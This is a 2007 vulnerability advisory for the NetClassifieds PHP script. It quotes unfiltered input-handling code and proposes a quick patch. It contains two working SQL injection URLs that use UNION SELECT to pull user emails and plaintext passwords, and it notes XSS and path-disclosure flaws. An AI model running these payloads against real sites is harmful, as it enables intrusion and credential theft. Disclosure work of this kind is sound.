NetClassifieds - SQL Injection / Cross-Site Scripting / Full Path

Application: NetClassifieds:
-Free Edition
-Standard Edition
-Professional Edition
-Premium Edition
Web Site: http://www.scriptdevelopers.net/
Versions: all
Platform: linux, windows
Bug: multiple injection sql , xss , full path
Fix Available: Yes


-------------------------------------------------------

1) Introduction
2) Bug
3) The Code
4) Proof of concept
5) Fix
6)Conclusion

===========
1) Introduction
===========

"NetClassifieds Premium Edition has been built on the premise of making every
classifieds site feel like it was custom written for the purpose for which it's being used.
Automotive Sites, Horse Sites, Reality Sites, General Classifieds Sites or any other type
of classifieds site you can think of will find a perfect match in NetClassifieds"

======
2) Bug
======

injection sql , xss , full path

===============
3) Vulnerable code:
===============
in Common.php

line 310:

function CCStrip($value)
{
if(get_magic_quotes_gpc() == 0)
return $value;
else
return stripslashes($value); // ==> wtf... 0-o
}



ligne 350:

function CCGetFromPost($parameter_name, $default_value)
{
global $HTTP_POST_VARS;

$parameter_value = "";
if(isset($HTTP_POST_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_POST_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}


line 365:

function CCGetFromGet($parameter_name, $default_value)
{
global $HTTP_GET_VARS;

$parameter_value = "";
if(isset($HTTP_GET_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_GET_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}

nothing is filtred ....

let's see how it goes in viewcat.php:

line 63:
include(RelativePath . "/Common.php");

line 519:
$this->ds->Parameters["urlCatID"] = CCGetFromGet("CatID", "");

line 909:
$catdb1 = new clsDBNetConnect;

$catdb1->connect();

$newSQL1 = "SELECT cat_id FROM categories WHERE sub_cat_id='" . CCGetFromGet("CatID", "") . "'";

$incat = "'" . CCGetFromGet("CatID", "") . "'";


I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ...

=====
4)proof of concept
=====


exemple of exploitation :
1) http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM categories WHERE cat_id=username@mail.com )

2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT)

// there's absolutly no encryption in this script for stored password , or sensitive data ...

every input are vulnerable to XSS attacks ( there's maybe 40 inputs ... ) via mysql errors , php error , and via
various unfiltred forms .
=====
5) Fix
=====
scriptdevelopers has been advised , i dont think they will release any patch at the moment .

here's my "quick patch" :

1) in Common.php:
line 30 :
ADD:
ini_set(display_errors,"0");
( in a production mode , no one needs to know your errors .. and this avoid xss via php error )

ligne 350:
function CCGetFromPost // for every POST request
avant : return $parameter_value;
apres : return preg_replace('/[^a-z0-9]/i', '', $parameter_value); //only 0 to 9 and a to z caracters allowed


line 365:
function CCGetFromGet // for every GET request
replace :
return $parameter_value;
BY
return preg_replace('/[^a-z0-9]/i', '', $parameter_value);

2) in Mysql_db.php
line 52 :
var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore errors quietly), "report" (ignore errror, but spit a warning)

set the value at "no" ( by default it's yes )
this will avoid juicy errors , such as table name and the complete query

3) imageresizer.php

line 2:
ADD :
ini_set(display_errors,"0");
( same reason as Common.php )

line 100 :
replace : echo("<hr color='red'><font color='red'><b>$msg</b></font><br> file=<b>".__FILE__."</b><hr color='red'>")
BY
echo("<hr color='red'><font color='red'><b>error while processing your request</b></font><br> <b></b><hr color='red'>");

".__FILE__." show the full path, no one need to know where is located your script on the server .
and usually a full path give the username for the ftp , or cpanel .
( /directory/your_user/www/file.php )


=====
5) Conclusion
=====

This script has not been develloped in a secure way, and it's dangerous
to use it UNPATCHED





regards laurent gaffie
contact : laurent.gaffie@gmail.com

# milw0rm.com [2007-06-22]